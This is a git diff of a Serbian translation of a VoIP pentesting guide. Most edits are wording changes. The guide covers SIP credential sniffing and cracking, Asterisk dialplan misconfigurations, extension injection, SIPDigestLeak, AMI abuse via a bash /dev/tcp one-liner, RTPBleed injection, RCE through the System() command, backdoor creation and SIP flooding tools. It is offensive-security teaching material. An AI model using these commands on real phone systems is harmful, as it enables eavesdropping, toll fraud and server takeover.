Da biste dobili ove informacije, možete koristiti alate poput Wireshark, tcpdump... ali **posebno kreiran alat za snifovanje VoIP razgovora je** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
Da biste dobili ove informacije, možete koristiti alate poput Wireshark-a, tcpdump-a... ali **posebno kreiran alat za snifovanje VoIP razgovora je** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da ako se **TLS koristi u SIP komunikaciji** nećete moći videti SIP komunikaciju u čistom obliku.\
|
||||
Isto će se desiti ako se koristi **SRTP** i **ZRTP**, **RTP paketi neće biti u čitljivom tekstu**.
|
||||
Isto će se desiti ako se koriste **SRTP** i **ZRTP**, **RTP paketi neće biti u čitljivom tekstu**.
|
||||
{% endhint %}
|
||||
|
||||
#### SIP kredencijali (Bruteforce lozinke - offline)
|
||||
|
@ -321,7 +321,7 @@ sipcrack sip-creds.txt -w dict.txt
|
|||
```bash
|
||||
sippts dump -f capture.pcap -o data.txt
|
||||
```
|
||||
* **`SIPPTS dcrack`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack je alatka za dešifrovanje autentikacija digesta dobijenih sa SIPPTS dumpom.
|
||||
* **`SIPPTS dcrack`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack je alatka za dešifrovanje digest autentikacija dobijenih sa SIPPTS dumpom.
|
||||
```bash
|
||||
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
||||
```
|
||||
|
@ -331,31 +331,31 @@ sippts tshark -f capture.pcap [-filter auth]
|
|||
```
|
||||
#### DTMF kodovi
|
||||
|
||||
**Ne samo SIP kredencijali** mogu se pronaći u mrežnom saobraćaju, takođe je moguće pronaći DTMF kodove koji se koriste, na primer, za pristup **poštanskom sandučetu**.\
|
||||
Moguće je poslati ove kodove u **INFO SIP porukama**, u **audio** formatu ili unutar **RTP paketa**. Ako su kodovi unutar RTP paketa, možete isecati taj deo razgovora i koristiti alatku multimo za njihovo izdvajanje:
|
||||
**Ne samo SIP kredencijali** mogu se pronaći u mrežnom saobraćaju, takođe je moguće pronaći DTMF kodove koji se koriste, na primer, za pristup **glasovnoj pošti**.\
|
||||
Moguće je poslati ove kodove u **INFO SIP porukama**, u **audio** ili unutar **RTP paketa**. Ako su kodovi unutar RTP paketa, možete isecati taj deo razgovora i koristiti alatku multimo za njihovo izdvajanje:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
### Besplatni pozivi / Nesporazumi u konfiguraciji Asterisk konekcija
|
||||
### Besplatni pozivi / Nesigurnosti u konfiguraciji veza Asterisk-a
|
||||
|
||||
U Asterisku je moguće dozvoliti konekciju **sa određene IP adrese** ili sa **bilo koje IP adrese**:
|
||||
U Asterisk-u je moguće dozvoliti vezu **sa određene IP adrese** ili sa **bilo koje IP adrese**:
|
||||
```
|
||||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Ako je navedena IP adresa, **domaćin neće morati slati REGISTER** zahteve povremeno (u REGISTER paketu se šalje vreme života, obično 30 minuta, što znači da u drugom scenariju telefon mora ponovo da se registruje svakih 30 minuta). Međutim, moraće imati otvorene portove koji omogućavaju konekcije sa VoIP serverom radi primanja poziva.
|
||||
Ako je navedena IP adresa, domaćin **neće morati slati REGISTER** zahteve povremeno (u REGISTER paketu se šalje vreme života, obično 30 minuta, što znači da u drugom scenariju telefon mora ponovo da se REGISTRUJE svakih 30 minuta). Međutim, moraće imati otvorene portove koji omogućavaju konekcije sa VoIP serverom radi primanja poziva.
|
||||
|
||||
Za definisanje korisnika mogu se koristiti sledeće oznake:
|
||||
|
||||
* **`type=user`**: Korisnik može samo primati pozive kao korisnik.
|
||||
* **`type=friend`**: Moguće je obavljati pozive kao vršnjak i primati ih kao korisnik (koristi se sa ekstenzijama)
|
||||
* **`type=peer`**: Moguće je slati i primati pozive kao vršnjak (SIP-trunkovi)
|
||||
* **`type=friend`**: Moguće je obavljati pozive kao peer i primati ih kao korisnik (koristi se sa ekstenzijama).
|
||||
* **`type=peer`**: Moguće je slati i primati pozive kao peer (SIP-trunkovi).
|
||||
|
||||
Takođe je moguće uspostaviti poverenje sa nesigurnom promenljivom:
|
||||
|
||||
* **`insecure=port`**: Dozvoljava vršnjacima konekcije validirane preko IP adrese.
|
||||
* **`insecure=invite`**: Ne zahteva autentifikaciju za INVITE poruke
|
||||
* **`insecure=port,invite`**: Obe opcije
|
||||
* **`insecure=port`**: Dozvoljava peer konekcije validirane preko IP adrese.
|
||||
* **`insecure=invite`**: Ne zahteva autentifikaciju za INVITE poruke.
|
||||
* **`insecure=port,invite`**: Obe opcije.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Kada se koristi **`type=friend`**, **vrednost** promenljive **host** **neće biti korišćena**, pa ako administrator **pogrešno konfiguriše SIP-trunk** koristeći tu vrednost, **svako će moći da se poveže sa njim**.
|
||||
|
@ -366,9 +366,9 @@ Na primer, ova konfiguracija bi bila ranjiva:\
|
|||
`type=friend`
|
||||
{% endhint %}
|
||||
|
||||
### Besplatni Pozivi / Netačne Konfiguracije Konteksta u Asterisku
|
||||
### Besplatni Pozivi / Nesigurne Konfiguracije Konteksta u Asterisku
|
||||
|
||||
U Asterisku, **kontekst** je nazvani kontejner ili sekcija u planu biranja koji **grupiše povezane ekstenzije, akcije i pravila**. Plan biranja je osnovna komponenta sistema Asterisk, jer definiše **kako se obrađuju i usmeravaju dolazni i odlazni pozivi**. Konteksti se koriste za organizovanje plana biranja, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema.
|
||||
U Asterisku, **kontekst** je nazvani kontejner ili sekcija u planu biranja koji **grupiše povezane ekstenzije, akcije i pravila**. Plan biranja je osnovna komponenta sistema Asterisk, jer definiše **kako se rukovode i usmeravaju dolazni i odlazni pozivi**. Konteksti se koriste za organizovanje plana biranja, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema.
|
||||
|
||||
Svaki kontekst je definisan u konfiguracionom fajlu, obično u fajlu **`extensions.conf`**. Konteksti se označavaju uglastim zagradama, sa imenom konteksta unutar njih. Na primer:
|
||||
```bash
|
||||
|
@ -381,9 +381,9 @@ exten => 100,1,Answer()
|
|||
exten => 100,n,Playback(welcome)
|
||||
exten => 100,n,Hangup()
|
||||
```
|
||||
Ovaj primer demonstrira jednostavan kontekst nazvan "moj_kontekst" sa ekstenzijom "100". Kada neko birne 100, poziv će biti prihvaćen, reprodukovaće se poruka dobrodošlice, a zatim će poziv biti završen.
|
||||
Ovaj primer prikazuje jednostavan kontekst nazvan "moj_kontekst" sa ekstenzijom "100". Kada neko pozove 100, poziv će biti prihvaćen, reprodukovaće se poruka dobrodošlice, a zatim će poziv biti završen.
|
||||
|
||||
Ovo je **još jedan kontekst** koji omogućava **pozivanje bilo kog drugog broja**:
|
||||
Ovo je **još jedan kontekst** koji omogućava **pozivanje na bilo koji drugi broj**:
|
||||
```scss
|
||||
[external]
|
||||
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
||||
|
@ -416,15 +416,15 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Besplatni pozivi / Nekonfigurisani IVRS
|
||||
### Besplatni pozivi / Pogrešno konfigurisani IVRS
|
||||
|
||||
IVRS označava **Interaktivni sistem za odgovor na glas**, telefonsku tehnologiju koja omogućava korisnicima da komuniciraju sa računarskim sistemom putem glasa ili tastera na dodir. IVRS se koristi za izgradnju **automatizovanih sistema za upravljanje pozivima** koji nude različite funkcionalnosti, kao što su pružanje informacija, usmeravanje poziva i prikupljanje korisničkih unosa.
|
||||
|
||||
IVRS u VoIP sistemima obično se sastoji od:
|
||||
|
||||
1. **Glasovnih poruka**: Prethodno snimljeni audio zapisi koji vode korisnike kroz opcije menija IVR-a i uputstva.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) signalizacija: Unosi tastera na telefonu generisani pritiskom tastera, koji se koriste za navigaciju kroz menije IVR-a i unos podataka.
|
||||
3. **Usmeravanje poziva**: Usmeravanje poziva ka odgovarajućoj destinaciji, kao što su određeni departmani, agenti ili ekstenzije na osnovu korisničkog unosa.
|
||||
1. **Glasovnih poruka**: Prethodno snimljeni audio zapisi koji vode korisnike kroz opcije i uputstva IVR menija.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) signalizacija: Tasteri na telefonu generišući tonovi koji se koriste za navigaciju kroz IVR menije i unos podataka.
|
||||
3. **Usmeravanje poziva**: Usmjeravanje poziva ka odgovarajućoj destinaciji, kao što su određeni departmani, agenti ili ekstenzije na osnovu korisničkog unosa.
|
||||
4. **Prikupljanje korisničkih unosa**: Sakupljanje informacija od pozivaoca, kao što su brojevi računa, ID slučaja ili bilo koji drugi relevantni podaci.
|
||||
5. **Integracija sa spoljnim sistemima**: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima radi pristupa ili ažuriranja informacija, obavljanja akcija ili pokretanja događaja.
|
||||
|
||||
|
@ -438,8 +438,8 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
|
|||
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
||||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
Prethodni je primer gde se korisnika traži da **pritisne 1 da pozove** odeljenje, **2 da pozove** drugo, ili **kompletan broj ekstenzije** ako je zna.\
|
||||
Ranjivost je u tome što dužina naznačene **ekstenzije nije proverena, tako da korisnik može uneti potpuni broj tokom 5 sekundi i biće pozvan.**
|
||||
Prethodni je primer gde se korisnik traži da **pritisne 1 da pozove** jedno odeljenje, **2 da pozove** drugo, ili **kompletan broj ekstenzije** ako ga zna.\
|
||||
Ranjivost je u tome što dužina naznačene **ekstenzije nije proverena, tako da korisnik može uneti potpuni broj tokom 5 sekundi i on će biti pozvan.**
|
||||
|
||||
### Ubacivanje ekstenzije
|
||||
|
||||
|
@ -451,27 +451,27 @@ Gde je **`${EXTEN}`** **produžetak** koji će biti pozvan, kada se unese **ext
|
|||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
Međutim, ako **`${EXTEN}`** dozvoljava unošenje **više od brojeva** (kao u starijim verzijama Asteriska), napadač bi mogao uneti **`101&SIP123123123`** da bi pozvao broj telefona 123123123. A ovo bi bio rezultat:
|
||||
Međutim, ako **`${EXTEN}`** dozvoljava unošenje **više od brojeva** (kao u starijim verzijama Asteriska), napadač bi mogao uneti **`101&SIP123123123`** da pozove broj telefona 123123123. A ovo bi bio rezultat:
|
||||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Dakle, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo će prvi dobiti poziv biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo koji podudarajući** koji se vrši ali ne postoji, on bi mogao **ubaciti poziv samo na željeni broj**.
|
||||
Dakle, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo će prvi dobiti poziv biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo koji podudar** koji se vrši ali ne postoji, on bi mogao **ubaciti poziv samo na željeni broj**.
|
||||
|
||||
## Ranjivost SIPDigestLeak
|
||||
|
||||
SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptere (VoIP za analogni). Ranjivost omogućava **procurivanje odgovora na Digest autentikaciju**, koji se izračunava iz lozinke. Tada je moguć **napad na lozinku van mreže** i može se povratiti većina lozinki na osnovu odgovora na izazov.
|
||||
SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptere (VoIP za analogni). Ranjivost omogućava **procurivanje odgovora na autentifikaciju Digest**, koji se izračunava iz lozinke. Tada je moguć **napad na lozinku van mreže** i može se povratiti većina lozinki na osnovu odgovora na izazov.
|
||||
|
||||
**[Scenario ranjivosti odavde**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvata pozive
|
||||
1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvatajući telefonske pozive
|
||||
2. Napadač šalje INVITE IP telefonu
|
||||
3. Telefon žrtve počinje zvoniti i neko se javlja i prekida vezu (jer niko ne odgovara na telefon s druge strane)
|
||||
4. Kada se telefon prekine, **telefon žrtve šalje BYE napadaču**
|
||||
5. **Napadač izdaje odgovor 407** koji **traži autentikaciju** i izdaje izazov za autentikaciju
|
||||
6. **Telefon žrtve pruža odgovor na izazov za autentikaciju** u drugom BYE
|
||||
7. **Napadač tada može izvršiti napad brute-force** na odgovor izazova na svojoj lokalnoj mašini (ili distribuiranoj mreži itd.) i pogoditi lozinku
|
||||
5. **Napadač izdaje odgovor 407** koji **traži autentifikaciju** i izdaje izazov za autentifikaciju
|
||||
6. **Telefon žrtve pruža odgovor na izazov za autentifikaciju** u drugom BYE
|
||||
7. **Napadač tada može izdati napad brute-force** na odgovor na izazov na svojoj lokalnoj mašini (ili distribuiranoj mreži itd.) i pogoditi lozinku
|
||||
|
||||
* **SIPPTS leak** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak iskorišćava ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u formatu SipCrack kako bi se izvršio napad brute-force korišćenjem SIPPTS dcrack ili alata SipCrack.
|
||||
* **SIPPTS leak** iz [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak iskorišćava ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u formatu SipCrack kako bi se izvršio napad brute-force koristeći SIPPTS dcrack ili alat SipCrack.
|
||||
```bash
|
||||
sippts leak -i 10.10.0.10
|
||||
|
||||
|
@ -494,7 +494,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call omogućava **web korisniku** (koji je na primer zainteresovan za proizvod) da **unese** svoj **broj telefona** kako bi bio pozvan. Zatim će biti pozvan komercijal, i kada **korisnik podigne telefon** biće **pozvan i povezan sa agentom**.
|
||||
Click2Call omogućava **korisniku veba** (koji na primer može biti zainteresovan za proizvod) da **unese** svoj **telefonski broj** kako bi bio pozvan. Zatim će biti pozvan komercijal, i kada **podigne telefon** korisnik će biti **pozvan i povezan sa agentom**.
|
||||
|
||||
Uobičajeni Asterisk profil za ovo je:
|
||||
```scss
|
||||
|
@ -506,10 +506,10 @@ displayconnects = yes
|
|||
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* Prethodni profil omogućava **BILO KOJOJ IP adresi da se poveže** (ako je lozinka poznata).
|
||||
* Za **organizovanje poziva**, kao što je prethodno navedeno, **nije potrebna dozvola za čitanje** i potrebno je samo **originirati** u **pisanje**.
|
||||
* Prethodni profil omogućava **BILO KOJOJ IP adresi da se poveže** (ako je poznata lozinka).
|
||||
* Za **organizovanje poziva**, kao što je prethodno navedeno, **nije potrebna dozvola za čitanje** i potrebno je samo **originirati** u **pisanju**.
|
||||
|
||||
Sa ovim dozvolama, bilo koja IP adresa koja zna lozinku mogla bi se povezati i izvući previše informacija, kao što su:
|
||||
Sa tim dozvolama, bilo koja IP adresa koja zna lozinku mogla bi se povezati i izvući previše informacija, kao što su:
|
||||
```bash
|
||||
# Get all the peers
|
||||
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
|
||||
|
@ -542,13 +542,13 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
|||
```
|
||||
### RTCPBleed ranjivost
|
||||
|
||||
**RTCPBleed** je značajan sigurnosni problem koji pogađa VoIP servere zasnovane na Asterisk-u (objavljen 2017. godine). Ranjivost omogućava da se **RTP (Real Time Protocol) saobraćaj**, koji prenosi VoIP razgovore, **interceptira i preusmeri od strane bilo koga na Internetu**. Do ovoga dolazi jer RTP saobraćaj zaobilazi autentifikaciju prilikom prolaska kroz NAT (Network Address Translation) firewall-ove.
|
||||
**RTCPBleed** je značajan sigurnosni problem koji utiče na servere VoIP-a zasnovane na Asterisk-u (objavljen 2017. godine). Ranjivost omogućava da se **RTP (Real Time Protocol) saobraćaj**, koji prenosi VoIP razgovore, **interceptuje i preusmeri od strane bilo koga na Internetu**. Do ovoga dolazi jer RTP saobraćaj zaobilazi autentifikaciju prilikom prolaska kroz NAT (Network Address Translation) firewall-ove.
|
||||
|
||||
RTP proxy serveri pokušavaju da reše **NAT ograničenja** koja pogađaju RTC sisteme posredstvom posredovanja RTP tokova između dve ili više strana. Kada je NAT prisutan, softver RTP proxy servera često ne može da se osloni na informacije o RTP IP adresi i portu dobijene putem signalizacije (npr. SIP). Stoga, nekoliko RTP proxy servera je implementiralo mehanizam gde se takav **IP i port tuplet automatski uči**. Ovo se često postiže inspekcijom dolaznog RTP saobraćaja i označavanjem izvorne IP adrese i porta za bilo koji dolazni RTP saobraćaj kao onaj na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "režim učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj ka RTP proxy serveru** i primati posredovan RTP saobraćaj namenjen pozivaocu ili pozvanoj strani tokom postojećeg RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove namenjene legitimnim korisnicima.
|
||||
RTP proxy serveri pokušavaju da reše **NAT ograničenja** koja utiču na RTC sisteme posredovanjem RTP tokova između dve ili više strana. Kada je NAT prisutan, softver RTP proxy servera često ne može da se osloni na informacije o RTP IP adresi i portu dobijene putem signalizacije (npr. SIP). Stoga, nekoliko RTP proxy servera je implementiralo mehanizam gde se takav **IP i port tuplet automatski uči**. Ovo se često postiže inspekcijom dolaznog RTP saobraćaja i označavanjem izvorne IP adrese i porta za bilo koji dolazni RTP saobraćaj kao onaj na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "režim učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj ka RTP proxy serveru** i primati posredovani RTP saobraćaj namenjen pozivaocu ili pozvanoj strani tokom postojećeg RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove namenjene legitimnim korisnicima.
|
||||
|
||||
Još jedno interesantno ponašanje RTP proxy servera i RTP stack-ova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete sa bilo kog izvora**. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medijski sadržaj umesto legitimnog. Ovaj napad nazivamo RTP ubacivanje jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može biti prisutna i kod RTP proxy servera i kod krajnjih tačaka.
|
||||
Još jedno interesantno ponašanje RTP proxy servera i RTP stack-ova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete sa bilo kog izvora**. Stoga napadači mogu slati RTP pakete koji im omogućavaju da ubace svoj medijski sadržaj umesto legitimnog. Ovaj napad nazivamo RTP ubacivanje jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može biti prisutna i kod RTP proxy servera i kod krajnjih tačaka.
|
||||
|
||||
Asterisk i FreePBX su tradicionalno koristili postavku **`NAT=yes`**, koja omogućava da RTP saobraćaj zaobiđe autentifikaciju, što potencijalno može dovesti do nedostatka zvuka ili jednosmernog zvuka tokom poziva.
|
||||
Asterisk i FreePBX tradicionalno koriste **`NAT=yes` podešavanje**, koje omogućava da RTP saobraćaj zaobiđe autentifikaciju, što potencijalno može dovesti do nedostatka zvuka ili jednosmernog zvuka tokom poziva.
|
||||
|
||||
Za više informacija posetite [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
||||
|
||||
|
@ -570,20 +570,20 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|||
```
|
||||
### RCE
|
||||
|
||||
U Asterisku na neki način uspete da **dodate pravila proširenja i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžerskog servera), moguće je dobiti RCE korišćenjem komande **`System`**.
|
||||
U Asterisku na neki način uspete da **dodate pravila proširenja i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžer servera), moguće je dobiti RCE korišćenjem komande **`System`**.
|
||||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
Postoji komanda nazvana **`Shell`** koja se može koristiti umesto `System` za izvršavanje sistemskih komandi ako je potrebno.
|
||||
Postoji komanda nazvana **`Shell`** koja se može koristiti **umesto `System`** za izvršavanje sistemskih komandi ako je potrebno.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ako server **onemogućava korišćenje određenih karaktera** u komandi **`System`** (kao u Elastixu), proverite da li veb server dozvoljava **kreiranje fajlova na neki način unutar sistema** (kao u Elastixu ili trixboxu), i koristite to da **kreirate skriptu za vrata pozadi** i zatim koristite **`System`** da je **izvršite**.
|
||||
Ako server **onemogućava korišćenje određenih karaktera** u komandi **`System`** (kao u Elastix-u), proverite da li veb server dozvoljava **kreiranje fajlova na neki način unutar sistema** (kao u Elastix-u ili trixbox-u), i koristite to da **kreirate skriptu za vrata pozadi** i zatim koristite **`System`** da je **izvršite**.
|
||||
{% endhint %}
|
||||
|
||||
#### Zanimljivi lokalni fajlovi i dozvole
|
||||
|
||||
* **`sip.conf`** -> Sadrži šifru SIP korisnika.
|
||||
* Ako **Asterisk server radi kao root**, mogli biste ugroziti root
|
||||
* Ako **Asterisk server radi kao root**, mogli biste kompromitovati root
|
||||
* **mysql root korisnik** možda **nema nikakvu šifru**.
|
||||
* ovo se može iskoristiti za kreiranje novog mysql korisnika kao vrata pozadi
|
||||
* **`FreePBX`**
|
||||
|
@ -591,7 +591,7 @@ Ako server **onemogućava korišćenje određenih karaktera** u komandi **`Syste
|
|||
* **`FreePBX.conf`** -> Sadrži šifru korisnika FreePBXuser koji se koristi za pristup bazi podataka
|
||||
* ovo se može iskoristiti za kreiranje novog mysql korisnika kao vrata pozadi
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> Sadrži nekoliko šifri u čistom tekstu poput mysql root šifre, IMAPd šifre, šifre za web admina
|
||||
* **`Elastix.conf`** -> Sadrži nekoliko šifri u čistom tekstu poput mysql root šifre, IMAPd šifre, web admin šifre
|
||||
* **Nekoliko foldera** će pripadati kompromitovanom asterisk korisniku (ako ne radi kao root). Ovaj korisnik može čitati prethodne fajlove i takođe kontroliše konfiguraciju, pa bi mogao naterati Asterisk da učita druge binarne fajlove sa vratima pozadi prilikom izvršavanja.
|
||||
|
||||
### RTP Injekcija
|
||||
|
@ -610,12 +610,12 @@ Postoji nekoliko načina da se pokuša postići DoS na VoIP serverima.
|
|||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol koji koristi Asterisk
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Alat za izvođenje SIP/SDP INVITE poruka preplavljenja preko UDP/IP.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Slanje nekoliko dobro oblikovanih RTP paketa. Potrebno je znati koje se RTP porte koriste (prvo snifujte).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Omogućava analizu i generisanje SIP saobraćaja, pa se može koristiti i za DoS.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Šalje nekoliko dobro oblikovanih RTP paketa. Potrebno je znati koje se RTP porte koriste (prvo snifujte).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): Omogućava analizu i generisanje SIP saobraćaja. tako da se može koristiti i za DoS.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP švajcarski nož. Može se koristiti i za izvođenje SIP napada.
|
||||
* Fuzzeri: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### OS Ranjivosti
|
||||
### OS Vulnerabilities
|
||||
|
||||
Najlakši način za instaliranje softvera poput Asteriska je preuzimanje **OS distribucije** u kojoj je već instaliran, kao što su: **FreePBX, Elastix, Trixbox**... Problem sa njima je što kada jednom prorade, sistem administratori možda ih **neće ažurirati ponovo** i **ranjivosti** će biti otkrivene vremenom.
|
||||
|
||||
|
|
Loading…
Reference in a new issue